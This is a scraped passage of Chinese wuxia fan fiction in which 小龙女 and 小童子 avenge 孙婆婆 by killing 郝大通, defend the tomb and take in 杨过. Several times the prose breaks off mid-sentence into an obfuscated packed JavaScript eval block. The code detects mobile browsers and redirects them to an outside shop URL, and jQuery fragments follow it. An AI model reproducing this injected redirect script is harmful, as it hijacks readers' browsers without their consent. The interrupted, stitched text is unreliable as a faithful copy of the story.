那一线内力与往日不同,寻常内息相触,不过一推一接,一攻一守;可此刻掌心之间像真有一物生出来,细得几乎不可察,却冷而分明。小龙女也想看看它能凝到何处,便将内力分作两处,一处守在掌心,与小童子的锋芒相抵,另一处却悄悄沉下去,护住小童子腕间经脉。 两人你来我往,渐渐忘我。 小童子越练越兴奋。 这不像寻常比剑,没有衣袖遮挡,没有脚步腾挪,只有内力在掌心之间最直接地试探、逼近、拆解。她仿佛看见了一条从未有人走过的新路,越往前,眼中光便越亮。 她一时用力过猛。 内力凝得太多,掌心那柄无形小剑骤然变得锋利。她往小龙女那边一刺,来势汹汹,几乎不留余地。 小龙女眼神微凝。 她先察觉到的不是剑势,而是小童子腕间经脉微微一跳。 她不敢托大,立刻加大内力,掌心剑横向挥出,去架小童子那一刺,同时将护在她腕间的那股内息往回一压。 两股内力相撞。 寒冰床上似有一声极轻的裂响。 反噬来得太快,小童子只觉掌心一麻,内息顺着经脉猛地回冲。她脸色一变,赶紧松开握住小龙女的手。 就在她松手的一瞬,一道极细的内力剑擦着她掌心飞出。 “嗤”的一声。 石壁上多了一道寸许深的痕。 石室里静住。 小童子的手被割开一道口子,鲜血很快涌出来,顺着掌心往下滴。 她却像没感觉到疼。 她猛地翻身下床,赤足踩在冰冷地面上,几步冲到墙边,盯着那道剑痕看。 她不是没有见过内力伤物。 从前一掌拍在石壁上,寒气透入石中,也能震得碎屑簌簌落下。可那毕竟是掌碰到了石,力借着掌骨、皮肉、招式,一层一层送出去。招式被人接住,拳脚被人架开,力便也跟着被截断、被卸去。 这一回不同。 她的手明明已经松开,那道细细的锋芒却仍擦着掌心飞出,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750824|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 从经脉里脱出去的一柄小剑。没有拳脚,没有剑刃,也没有可供借力的东西。 内力自己凝成了形。 内力离体。 不借拳脚,不借剑刃,竟也能伤到外物。 小童子看见的是那道剑痕。 小龙女看见的却是剑痕之前的一瞬。那一线内力脱出掌心时,并不完全听小童子的使唤。它先割开了她自己的手,才撞上石壁。若方才偏上半寸,割到的便不是掌心。 小童子心口怦怦直跳。 她觉得自己发现了不得了的东西。 “龙儿!”她回头,眼睛亮得惊人,“你看见没有?这是内力离体。若能练成,掌心成剑,不必兵刃也能伤人。若再远一些,再稳一些,说不定——” 话未说完,她的手被轻轻按住。 小童子低头,这才看见小龙女不知何时也下了寒冰床,正握着她流血的手。 血已经沾到小龙女指尖。 小龙女平日一脸古井无波,此时却轻轻皱起了眉。 “包扎一下吧。”她道。 小童子怔了怔。 小龙女看着她掌心的伤口:“不然像上次一样,越来越严重。” 小童子眨了眨眼。 上次是她练剑时不小心被石壁擦伤,本以为小伤无碍,结果夜里运功牵动伤处,第二日肿得连剑都握不稳。小龙女那时也是这样皱眉,虽然只说了两句话,却盯着孙婆婆替她上完药才走。 原来她还记得。 小童子心里忽然一软。 方才发现新路的兴奋还在,可另一种更细的欢喜也悄悄浮上来。她看着小龙女皱起的眉,看着她握住自己的手,忽然笑了。 “好。”她说。 小龙女看她一眼:“笑什么?” 小童子立刻收了笑,又没收住,唇角仍往上翘。 “没什么。” 小龙女不再问。 她牵着小童子走到石案边,取出房中常备的金创药和干净白布。小童子乖乖坐下,把手摊开。 伤口不深,却被内力割得齐整,血流得快。药粉撒上去时,小童子疼得吸了一口气,肩膀也跟着一缩。 小龙女动作顿了顿:“疼?” “一点点。” 小龙女便放轻了些。 她没有立刻说话,先用白布压住伤口,等血势慢慢缓下来,才道:“方才不是你发出了剑。” 小童子一怔。 “是剑挣出去的。”小龙女道,“你没有收住它。” 她低头替小童子包扎,指尖凉而稳。白布一圈一圈缠过掌心,将那道伤遮住。小童子低头看着她,忽然觉得这间石室也没有方才那么冷。 “龙儿。”她小声道。 “嗯。” “方才那招,我们明日再试一次。” 小龙女抬眼。 小童子立刻补了一句:“我会收力。” 小龙女看着她,像是不太信。 小童子又道:“真的。” 小龙女垂下眼,把最后一圈白布系好。 “先等伤好。” 小童子想讨价还价,见小龙女仍皱着眉,便把话咽了回去。 “好吧。” 她答得有些不情愿,眼底却仍亮着。 小龙女将药瓶收好。 “伤好以后,我先来。” 小童子抬头:“你?” “嗯。”小龙女道,“我来凝,你来截。” 小童子眼睛又亮起来。 小龙女看着她:“先近。” “什么?” “先近到不会伤自己。”小龙女道,“再谈远。” 小童子看了看自己包好的手,又看了看她,终于点头。 “好。”她说,“听你的。” 石壁上那道细痕在灯下清清楚楚。 像一条新路,忽然从古墓冰冷的石壁里开了出来。 12. 出墓 又过两年,小龙女和小童子十八岁了。 那道从掌心飞出的无形剑,被她们反复琢磨了两年。 小童子掌心那道旧伤早已淡成一线浅痕,石壁上的剑痕却还留着。两年来,她们日日在寒冰床上推演内力,试着将那一线锋芒收得更稳、放得更准。 这一日,两人练功完毕,从石室里出来。 小童子左手拎着剑,右手牵着小龙女的手。两人掌心相贴,表面上只是并肩走着,暗里却仍以细细一缕内力互相推演。小童子的内息时进时退,像水底游鱼;小龙女便稳稳接住,再以更冷更静的一线回过去。 她们走到甬道转角时,忽然听见一个孩童的声音。 那声音又急又乱,带着哭腔,像受了极大委屈。 小童子脚步一顿。 小龙女也停下。 两人对视一眼,皆有些意外。 古墓里怎么会有外人的声音? 她们循声走去,拐过两道甬道,便看见孙婆婆坐在石凳旁,怀里抱着一个衣衫破旧的小孩,正低声哄他。 那小孩满脸灰尘,额角青了一块,衣袖也破了。他哭得抽抽噎噎,听见脚步声,便抬起头来。 然后他愣住了。 他从未见过这样的人。 来的是一对白衣少年。一个清冷如霜,眉目淡得像远山月色;另一个束发利落,衣衫简净,眉眼却明亮,身姿像少年郎般洒脱。两人并肩站在幽暗石道里,灯火一照,竟像天上落下来的神仙。 杨过忽然觉得自己更狼狈了。 他方才一路逃来,摔了不知多少跟头,衣上泥土、脸上泪痕全混在一起。此刻与眼前二人一比,他心里竟生出一点说不清的自惭。 神仙也会来这种地方么? 若是神仙,会不会带他去找娘? 小童子先开口。 她声线朗朗,清亮里带着一点不经意的少年气。落在杨过耳中,竟真像梦里听见的仙乐。 “孙婆婆,这是谁?怎么把他带进古墓来了?” 她说话时,与小龙女交握的手仍没有松开,掌心那一缕内力还在无声较量。 孙婆婆忙道:“我捡到的一个孩子。可怜见的,全真教那群牛鼻子欺负人,把他乱打一通。他逃到古墓门口,我瞧他伤成这样,便带进来了。” 她低头摸了摸杨过的头,又抬头看向二人。 “姑娘们,就收留他吧。” 杨过怔了怔。 姑娘们? 他下意识看向小童子。 这个白衣少年一般的人,竟也是姑娘? 他又一次愣住。 小龙女这时开口:“古墓派不收男子。” 声音很轻,却没有商量余地。 小童子点头。 师父确实说过。 她看向孙婆婆:“婆婆,你带这个孩子离开,安顿到山脚下,给些钱财,请人收养他。” 孙婆婆脸上露出难色:“姑娘,全真教的人会把他抓起来的。你们就可怜可怜他,留下他吧。” 小童子眉头慢慢皱起。 她不明白孙婆婆为何忽然像变了个人。 孙婆婆向来最记得林朝英的话,也最怕她们违背门规。如今却为了一个陌生男孩,张口便要破古墓旧训。 小童子第一次冷下脸。 “婆婆。” 她声音不高,却叫孙婆婆心头一颤。 “我师父去世时说过的话,你都听到了。你要让我们违背师命么?” 孙婆婆怔住。 她看着小童子。 这是她一手看大的孩子。小时候小童子爱哭,爱偷懒,被李莫愁捏疼了便满墓跑着喊痛。可也不知是自她睡寒冰床、修玉女心经之后,还是自林朝英去世之后,那点活泼气便一日日淡了,眉眼间渐渐冷得像另一个小龙女。如今她站在那里,手中拎剑,目光冷下来时,竟有几分林朝英当年的影子。 孙婆婆心里第一次对这个孩子生出一点惧意。 随即便是羞愧。 她低下头:“不,不。是我错了。我不该如此行事。” 她抱紧杨过,声音低了下去:“我会带他离开,妥善安置。” 小童子没有再说话。 小龙女也只是静静看着。 孙婆婆便带着杨过离开了古墓。 午饭时,石室里格外安静。 孙婆婆不在,热汤也少了平日那点细致味道。小童子夹了两口菜,眉头仍没有松开。 小龙女看她一眼。 小童子道:“婆婆今日很奇怪。” 小龙女道:“她心软。” “心软也不能违背师父的话。” 小龙女没有反驳。 饭后,两人又回石室练功。小童子转眼忘了前事,与小龙女专心拆掌心剑。可没练多久,远处忽然传来哭声。 是方才那个孩子的哭声。 哭得比之前更厉害。 小童子和小龙女察觉不对,同时收手。 下一瞬,两人身影已掠出石室。 她们循声飞去,便看见杨过跪在地上,哭得几乎喘不上气。而孙婆婆倒在一旁,脸色灰败,唇边有血。 小童子心口一沉。 她几乎是扑到孙婆婆身边,伸手扶住她肩背,却又不敢用力。 小龙女也已跪下,指尖搭上孙婆婆的脉门。 片刻后,小龙女抬头看向小童子。 “经脉尽断,五脏六腑破碎。” 杨过听见这句,哇的一声哭得更厉害。 小童子闭了闭眼。 她再睁眼时,才看向杨过。 “发生了什么?” 杨过哭着道:“孙婆婆带我回全真教……她说要同那些道人讲清楚,说我不该再受他们欺负。” 他抽噎得几乎说不成句:“可是他们不听。他们骂我,也骂孙婆婆……后来就推搡起来。有个道人要抓我,孙婆婆挡在我前面,他一掌打过来,孙婆婆当时就吐了血。” 杨过抬手胡乱擦脸,越擦眼泪越多:“她放出了好多玉蜂,那些道人都乱了。孙婆婆就拉着我飞……她一路都在喘,嘴里一直有血。回到这里以后,她才倒下,就再也站不起来了……” 他说得乱,哭得更乱。 小童子只觉得耳边嗡嗡作响。 她想起自己小时候也这样哭过,哭得满墓皆知,哭得谁都不得安宁。师父和师姐当年听着,会不会觉得烦? 龙儿会不会也觉得烦? 她下意识看了小龙女一眼。 小龙女没有看杨过。 她仍跪在孙婆婆身旁,手指没有离开孙婆婆的脉门。 孙婆婆费力地睁开眼。 小龙女取出玉蜂蜜,想喂她一点,好让她少受些苦。孙婆婆却微微偏头,像是已经咽不下去。 “姑娘……掌门……” 她声音破碎,每说一个字,都像要耗尽一口气。 小龙女靠近些:“婆婆。” 孙婆婆艰难道:“我熬不过去了。我有一个请求……让杨过留下吧。就让他做大姑娘的徒弟。” 小龙女没有回答。 她看向杨过。 那孩子满脸泪痕,跪在孙婆婆身旁,孤零零地缩成一团。 小童子心里忽然涌上一股极不舒服的感觉。 那感觉像冷水从胸口漫开,又像有人在她耳边说:又要破师父的规矩,又要替师姐做决定。 她一字一顿道:“不、可、以!” 小童子道:“师父的话,我不会违背。师姐的意愿,我们也没有问过。收他为徒,绝对不可能。” 杨过哭声微微一停,怔怔看着她。 孙婆婆眼神微颤,又看向小龙女。 小龙女眼底没有波澜,声音却低了些:“婆婆,古墓派的规矩不能破。” 她停了停,又道:“我是掌门,更不能破。” 孙婆婆眼中的光黯了些。 小童子看向孙婆婆,声音终于放低些:“但我会让人收留他。给他钱,给他住处,保他不被全真教带走。” 小龙女道:“伤你的人,我会去杀。” 孙婆婆听到这里,像是终于有了交代。 她看了杨过一眼,又看向小龙女和小童子,唇边似乎动了动,像还想说什么。可那口气终究散了。 她头轻轻一偏,便再没有声息。 杨过愣了一瞬,随即哭得撕心裂肺。 “孙婆婆!孙婆婆!” 小龙女伸手,轻轻合上孙婆婆的双眼。 她面上没有表情,指尖却停了很久。 古墓里最后一个长辈,也走了。 小童子伸手握住小龙女的手。 另一只手,则抓住杨过的腰带,把他从地上拎起来。 “走。” 杨过哭得上气不接下气:“去哪儿?” 小童子声音冷得像寒霜。 “给孙婆婆报仇。” 听到“报仇”二字,杨过的哭声戛然而止。 他抬头,眼睛瞪得很圆:“好!” 小龙女没有立刻动。 她回头看了一眼古墓深处。古墓里,是林朝英留下的规矩,是孙婆婆刚刚合上的眼,也是她十八年来不曾踏出的清冷天地。 片刻后,她握紧了小童子的手。 两人一起迈出了古墓。 这是小童子和小龙女第一次真正踏出墓门。 终南山风迎面扑来,带着松木、尘土和人间的气息。可两人谁也没有心思去分辨墓外的世界。 小童子没有回头,一手牵着小龙女,一手提着杨过:“指路。” 杨过被带得几乎喘不过气,勉强抬手指向山上:“那边……重阳宫在那边!” 两人便循着他所指的方向飞纵而去。枝叶在脚下掠过,山石被远远抛在身后,屋檐与石阶一闪即逝。 杨过只觉得整个人像被风裹住,连害怕都来不及。 不多时,三人已落到全真教广场。 道士们纷纷转头。 杨过立刻指向一人,声音发抖,却极恨:“是他!就是他打的孙婆婆!” 那人正是郝大通,此刻正站在全真众人之后。 小龙女看向他,声音轻而冷:“你是要自刎,还是我们来取你性命?” 广场上一片哗然。 有人怒道:“哪里来的乳臭未干的小辈,竟敢在重阳宫出言不逊!” 又有人拔剑:“擅闯全真,口气倒不小!” 小童子把杨过往旁边树上一抛。 杨过惊叫一声,整个人挂到树杈上,手忙脚乱抱住树干。 小童子已不再看他。 她足尖一点,身形掠入人群。两名全真弟子只觉腕上一麻,掌中长剑已被她一挑一带夺了出去。一柄飞向小龙女,一柄落入她自己手中。 剑入手的一瞬,两人的气息便变了。 广场上众人只觉胸口微微一窒,仿佛有一道无形气压从两人身侧铺开,冷冷压了下来。 玉女心经展开。 这门功夫本就是林朝英当年苦心所创,招招式式皆为破解全真武功而设。 全真教众人只觉眼前白影一分为二,又似二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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郝大通心中一凛,长剑回撤,剑脊在小龙女剑上一压,身形顺势斜退。可他脚步才动,小童子的剑便已从下盘穿来,逼得他不得不提气跃起。 人一上了半空,下盘来剑自然避开。 可下盘避开了,上路的剑却更难避。小龙女早似算准了这一着,他身形方起,她的剑已冷冷冲到胸前。半空之中无处借力,郝大通只得猛提一口真气,内力灌入足底,脚尖一点剑脊,硬生生将那一剑截偏半寸。 可小龙女剑锋刚偏,小童子的下一剑便已从偏开的半寸空处追了进来。 她剑势不重,却快得惊人,一剑逼眼,一剑取喉,一剑又忽然沉向胸腹。郝大通连挡三剑,虎口已微微发麻。 他这才真正明白,眼前二人并非单凭剑招精妙压人。 她们剑上所含内劲清冷绵长,虽不似江湖老手那般浑厚沉猛,却胜在气息纯净,后力不绝,绝非寻常少年可有。一个清冷如冰,专断大势;一个灵动如影,专补细微破绽。大势一合,破绽便无;破绽一补,剑网便更紧。 再拖下去,他只会被这张网一点点绞死。 郝大通毕竟久经阵仗,越是凶险,心神反倒越沉。他强压住胸口翻涌的气血,长剑守中带转,终于在那千百道剑影里摸出一丝脉络。 小龙女主封,小童子主攻;小龙女剑势一冷,小童子下一剑必从活处来;小童子身形一动,小龙女便要先断退路。 只要再撑几招,他未必不能找出脱身之机。 下一刻,小龙女袖底一动,小童子掌心一翻。 两道剑意忽从无形中生出。 郝大通刚刚摸到的那一丝脉络,霎时断了。 他只觉寒意贴骨而来,眼前分明还是双剑,却骤然多出两道看不见的杀意。小龙女与小童子的长剑一左一右压来,他长剑横在身前,正要同时格开,那两道掌心剑意已直直逼至。 一道自上而下,逼向咽喉。 一道自下而上,削向胸腹。 郝大通大喝一声,长剑连震,先挡开身前左右双剑,又急急回剑去截那两道掌心剑意。 也就是这一乱。 小龙女足尖一勾,剑势未停,脚下已轻轻扫向他下盘。 郝大通身形一晃。 小童子已借这一晃跃起。 剑光一闪。 广场骤然静住。 郝大通的头颅滚落在地。 鲜血喷洒出来,溅在青石广场上,猩红一片。 小龙女收回足尖,慢慢站直身体。 小童子收剑,剑尖无声垂落。 两人白衣如旧,竟连一滴血都没有沾上。 整个广场都被镇住了。 没有人想到,这两个年少的古墓弟子,武功竟高到如此地步。 更没有人想到,全真七子之一,竟在顷刻间少了一人。 树上的杨过也看呆了。 他忘了哭,也忘了怕,只怔怔看着那两道白衣身影。 小龙女看向小童子。 小童子也看了她一眼。 无需多言。 她们今日只为孙婆婆报仇,不为灭全真。 两人同时松手。 夺来的两柄长剑落在青石地上,发出两声清响。 小童子足尖一点,掠回树旁,一把拎起杨过。小龙女跟着转身,白衣轻动。 在全真众人终于回过神来之前,三人已经如来时一般掠出广场,消失在终南山的林影之间。 山风呼啸。 杨过被小童子拎着腰带,低头看着越来越远的全真教,忽然觉得自己这一日像做了一场梦。 梦里他先见了神仙。 后来才知道,神仙也会动怒。 也会杀人。 13. 山门 回古墓的路上,杨过一路被小童子拎着。 他先前在全真教广场上看得心神震荡,此刻山风一吹,才后知后觉怕起来。郝大通倒下的那一瞬,在他眼前反复晃着。他恨郝大通害死孙婆婆,可真见人死在剑下,心里又像被什么狠狠攥住,说不出是痛快,还是惊惧。 小童子没有理会他。 她只牵着小龙女的手,在山林间飞纵。两人轻功极快,衣袂从枝叶间掠过,几乎不沾尘土。杨过被拎得头晕眼花,想说话,风却灌进嘴里,半个字也吐不出来。 快到古墓附近时,小童子忽然停下。 她把杨过往密林深处一带,足尖在树干上一点,便将他挂到一棵老松的横枝上。 杨过猝不及防,手忙脚乱抱住树枝:“你做什么?” 小童子抬头看他:“在这里等。” “我会掉下去!” “你抱紧。” “那你们呢?” 小童子没有回答,只看了小龙女一眼。 小龙女道:“我们回墓。” 杨过一怔,随即想起孙婆婆的尸身还在古墓附近,声音一下低了下去:“我……我也想去。” 小童子看着他,神色冷而平静:“你不是古墓中人。” 这句话落下,杨过脸色白了白。 小龙女没有补话。 两人转身离开,白影很快没入林间。杨过挂在树上,望着她们消失的方向,忽然觉得这片密林比全真教还陌生。 古墓里,孙婆婆仍静静躺着。 小龙女与小童子将她带入古墓深处。 从前孙婆婆总在灶间、药室、衣箱旁忙碌。她的脚步声不轻不重,常常在饭香和药气里出现。如今她躺在小童子臂弯间,轻得像只剩下一副被风吹空的衣裳。 古墓里还有空棺。 那是林朝英在世时便备下的。古墓里的人,本就该归于古墓。 小龙女和小童子把孙婆婆放进棺中,替她理好衣襟,擦净唇边血迹。小童子做这些时,手很稳。稳得连她自己都觉得陌生。 理到袖口时,她忽然摸到一包东西。 那是几块冷了的面饼,用旧帕子仔细裹着,旁边还塞着一只小小药瓶。帕角打了个结,结得很紧,像是怕半路散了。 小童子认得那药。 孙婆婆早些时候还说,杨过那孩子身上旧伤不少,要替他重新敷一敷。 小童子指尖停住。 那一瞬,她心里像被什么极细的东西刺了一下。 很快,那点刺痛便沉下去了。 石室仍是石室,冷泉仍远远滴着,孙婆婆仍静静躺在她面前。她看着那只药瓶,知道自己该难过,可心里像隔着一层厚厚的冰,什么也漫不上来。 两人在棺前拜了拜。 石室里没有哭声。 只有冷泉远远滴落。 拜完之后,小童子没有立刻起身。她跪在棺前,看着孙婆婆合上的眼,忽然开口:“龙儿。” 小龙女看向她。 小童子声音很低:“师姐离开的时候,我的心很痛。师父去世的时候,我的心也很痛。” 她停了停,像在分辨自己心里到底有什么。 “可是孙婆婆受伤、去世,我却觉得不真实。心也不怎么痛。脑子里还在想,那小子的哭声很吵。” 她抬头看小龙女,眼里终于露出一点茫然。 “我这是怎么了?是因为寒冰床,还是玉女心经?我变得冰冷了?” 小龙女伸手,握住她的手。 小童子的手是暖的。 练武之人的掌心有薄茧,方才握剑、拎人、合棺,指节还带着紧绷的力气。可那只手落在小龙女掌中,仍旧是活人的温度。 小龙女道:“你是热的。” 小童子怔怔看着她。 小龙女继续道:“人本来就会生老病死。师父病死了,孙婆婆受伤死了。你没有变,你只是学会接受了。” 小童子听着,并没有觉得舒服。 她宁愿自己此刻痛得喘不过气,宁愿自己还像小时候一样哭得满墓皆知。那样至少证明她没有辜负孙婆婆这些年的照料,没有把孙婆婆的死看得很轻。 可她做不到。 她没办法让自己的心痛起来。 这让她觉得像一种背叛。 小童子深深吸了一口气,又重重吐出来。那口气落在石室里,很快散了。 小龙女没有催她。 过了片刻,小龙女道:“杨过怎么办?” 小童子抬起眼。 那一瞬,她脸上重新有了决断。 “送到山脚下,给人点钱,把他送走。”她道,“看他愿意去哪就去哪。” 小龙女沉默。 师父临终前的话,她记得。 孙婆婆临终前的话,她也记得。 一个说古墓派只剩她们两个,门规不可废。一个求她们留下杨过,哪怕只让他做李莫愁的徒弟。 两句话像两道冷泉,在心里相撞。 小童子知道她的犹豫。 为给孙婆婆报仇,她们已经出过一次墓。那一次是上山,是杀人,是迫不得已。如今要送杨过下山,看似只是把一个小孩交给人带走,可只要迈出墓门,便仍是出墓。 古墓派的人,本不该这样一而再、再而三地走出去。 可杨过不能留下。 他不是古墓中人,留在这里,便是违了林朝英的规矩;若把他丢回全真教,又是违了孙婆婆临终前的托付。 小童子自己也不想违背林朝英。 可她也答应过孙婆婆,会安置杨过,保他不被全真教带走。 在“留下杨过”和“出墓到山脚下”之间,她选了后者。 “我们就到山脚下。”小童子道,“不入人间,不久留。扔了他就回来。” 小龙女看着她。 小童子补了一句:“快去快回。” 小龙女终于点头。 随即,她又道:“我们杀了全真教的人,他们很快会来找麻烦。要做准备。” 小童子立刻点头:“嗯。” 两人起身。 她们先把孙婆婆的棺盖合上,又在棺前静立片刻。随后,小龙女转身去开古墓机关,小童子去蜂房放玉蜂。 古墓本就机关重重。 林朝英当年布下的石门、暗弩、翻板、迷道,许多年来很少真正用到。因为没有外人能进得这样深,也没有人值得古墓倾尽防备。 这一日,机关一一醒来。 石壁后传来沉闷转动声,地面某些石砖悄然下陷,甬道尽头的暗门缓缓错位。平日熟悉的路,转眼便成了杀机暗伏的迷宫。 小童子打开蜂房。 玉蜂成群飞出,振翅声细密如雨。它们本就通灵,又受古墓中人驯养多年,闻得熟悉气息便避开,闻得生人气味便盘旋不去。小童子以短笛轻轻吹了两声,蜂群便如流云般散向各处甬道。 小龙女熄灯。 一盏。 又一盏。 长明灯被遮去火光,石室与甬道渐次沉入黑暗。古墓里没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他手执折扇,衣饰华贵,眼角却带几分轻浮笑意。远远瞧见一大群道士从山上下来,他先是一怔,随即笑了。 “怎么?” 霍都扬声道:“道士也想娶媳妇?” 他这话一出,身后立刻响起一阵哄笑。 全真教众人脸色大变。 有人怒喝:“胡言乱语!” 霍都却笑得更猥琐几分。 近来江湖上有传言,说终南山活死人墓中新掌门貌若天仙,清冷绝世。谁若娶了她,不但能得美人,还能得到古墓中藏了多年的宝藏。 这传言不知从何而起,却像野火一样烧得极快。 霍都本就好色好名,又听说古墓与全真教有隙,便邀了一群蛮荒子弟、番僧、游侠、恶客,同来终南。说是拜访,实则人人心里都藏着一分贪念。 美人。 宝藏。 古墓秘笈。 每一个词都足够让人走远路。 如今两拨人马竟在活死人墓前不远处撞上。 一边是怒气冲天的全真道士。 一边是被传言勾来的江湖杂流。 而活死人墓内,灯火已灭,机关已启,玉蜂在黑暗中无声游走。 墓门紧闭。 像一张冷冷合上的唇。 不欢迎任何人。 14. 净身 霍都一句“道士也想娶媳妇”,像火星落进干草堆。 孙不二率着全真弟子赶到活死人墓前时,人人本就惊怒交加。 郝大通死在他们眼前,古墓两名弟子又来去如风,重阳宫上下皆觉颜面扫地。此刻他们赶到活死人墓前,正憋着一口怒火无处发泄,偏偏霍都带着一群三教九流的人马撞上来,还开口便是这般轻薄挑衅。 马钰、丘处机、王处一、刘处玄等人此时皆不在宫中,郝大通又死,孙不二便是此刻重阳宫里最能主事的人。她本就是个烈性子,眼见同门惨死,古墓弟子杀人后又如入无人之境,心中早已烧得发痛。此刻再听霍都这般轻薄挑衅,哪里还忍得住,当即厉声喝道:“住口!我全真教岂容你这等蛮夷污蔑!” 霍都折扇一展,笑道:“不是来抢美人,难道是来替美人守门?” 他身后立刻又是一阵哄笑。 有人附和道:“道爷清修多年,原来也识得美人好处。” 全真教众人脸色更难看。 霍都见他们越怒,心里越快活。 他并不在意现场所有人的死活,他的目的只有美人和宝藏。他只觉得眼前这一群道士拦在墓前碍事。若能挑得他们同自己身后这群江湖杂流先乱起来,他便好趁机摸进古墓。 “让开。”孙不二锵然拔剑,“此处乃终南山重地,岂容尔等放肆!” 霍都挑眉:“终南山是你们全真教的,活死人墓也是你们的?怎么,连人家姑娘也是你们的?” 这话更毒。 孙不二终于忍不住,长剑一抖,便向霍都刺来。 霍都侧身避开,折扇在孙不二腕上一点,嘴里仍笑:“恼羞成怒了?” 她这一剑刺出,身后的全真弟子再无顾忌,纷纷拔剑压上。霍都身后的番僧与恶客见状,也都拔刀拔棍。 一边原就怒火冲天,一边只是为利而来,谁也不是能好好说话的人。孙不二这一动手,山门前便乱成一团。 刀光剑影,喝骂声四起。 全真剑法整齐,江湖杂流却胜在人多手杂。有人正面格剑,有人从旁下绊,有人趁乱偷袭,也有人只管大喊大叫壮胆。霍都在人群中游走,折扇看似轻巧,出手却极刁钻。 他打了片刻,眼角余光始终瞟着墓门。 混战正酣时,霍都忽然身形一转,从两名道人之间滑了出去。 他趁乱往活死人墓掠去。 墓门就在前方。 古墓美女,传世宝藏,武功秘笈。 这些念头在霍都心头一闪而过。他唇边笑意刚起,便听见耳畔传来一阵细密嗡鸣。 那声音初时像风。 下一瞬,却成了铺天盖地的蜂鸣。 一团玉色蜂群从墓门附近涌出,像被黑暗吐出来的活云。霍都脸色一变,折扇急挥,想将蜂群逼开。 可玉蜂又小又快,根本不与他正面相撞。 它们绕过扇风,贴着衣袖、领口、手背钻来。 霍都只觉手腕一痛。 紧接着脖颈、耳后、肩侧都传来尖锐刺痛。 “什么东西!” 他再也顾不得风度,连连后退,折扇乱挥。玉蜂却追着他的气息不放,叮得他疼痛非常,脸色都变了。 霍都心中大骇,转身便往人群里跑。 他这一跑,蜂群也跟着卷了过去。 山门前还在混战的人起初没反应过来,等玉蜂冲进人堆,才纷纷惨叫起来。 “蜂!” “有毒蜂!” “啊!我的脸!” 有人丢了刀,有人扔了剑,有人抱头鼠窜。全真教的阵势被冲得七零八落,霍都带来的人更是四散奔逃。玉蜂追着生人气息一路侵过去,凡靠近墓门者,无论道士还是番僧,都被叮得嗷嗷乱叫。 方才还喊打喊杀的一群人,转眼便如鸟兽散。 霍都捂着半边脸,狼狈地钻进林中。 他回头看了一眼那紧闭的墓门,眼中既惊且恨。 活死人墓仍旧安静。 另一边,小童子和小龙女带着杨过,选了最陡的一条下山路。 那条路几乎不能称作路。 山石嶙峋,树根盘绕,许多地方只有野兽踩出的浅痕。若是寻常人走,少不得要手脚并用,一步一步往下挪。可对小龙女和小童子而言,这反而是最快的直线。 小童子拎着杨过的衣领,足尖点上枝叶,轻轻一借力,便从一棵松树掠到另一块山石。 小龙女与她并肩。 两人一白一素,在山林间飞纵,如履平地。衣袂擦过树梢,枝叶只是微微一颤,她们已在数丈之外。 杨过被带得眼花缭乱。 他方才见过她们杀人,心里怕得厉害。可此刻被她们带着从山林上空飞过,脚下树冠起伏,山风扑面,他心里又忍不住生出一种热切的羡慕。 若自己也会这样的轻功,谁还能欺负他? 若自己能拜入古墓派,哪怕只学一点点,也不必再被全真教的人打得满山乱跑。 他越想,越觉得胸口发热。 很快,三人到了山脚。 小童子落地,把杨过放下。 杨过脚一沾地,险些软倒。他扶住旁边树干,喘了好一会儿,才发现四周仍是山。 除了树,还是树。 看不见村舍,也看不见炊烟。 更没有什么能收养他的好心人。 小童子也沉默了。 小龙女看向她。 两人面面相觑。 她们在古墓住了十八年,几乎从未真正出过墓门。孙婆婆从前下山采买,总能带回东西,她们便理所当然以为山脚下就该有人。 可终南山本就是深山。 山脚也未必有人烟。 小童子皱眉看着前方:“龙儿,我们沿着路往外再走走。孙婆婆经常上山下山买东西,附近肯定有人。” 小龙女点头,牵着她便要往前。 这时,身后忽然传来“扑通”一声。 杨过跪倒在地。 小童子回头。 杨过仰着脸,眼圈还红着,却努力把声音喊得很大:“两位师父,请收下我吧!” 小童子眉尖一动。 小龙女也停住。 她垂眸看着杨过。那少年衣衫凌乱,脸上还沾着山路间蹭出的灰痕,眼神却亮得很,像被人一路赶到墙角,仍不肯认命。 小龙女想起孙婆婆临死前护着他的样子,眼底微微一静。 杨过急急道:“哪怕只教我一点轻功都可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750827|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 以。我可以像孙婆婆一样照顾你们,每天上山下山买东西!” 他说到这里,眼睛亮了起来,像终于抓住一根救命的绳子。 “我很会买东西,也会砍价。商家的狡猾把戏都骗不过我,我能帮你们省很多钱。我知道哪些食物最好吃、最新鲜。我每天都能给你们带很多好吃的。” 这番话落进山林里,竟有几分真心实意的热闹。 小童子和小龙女都迟疑了一瞬。 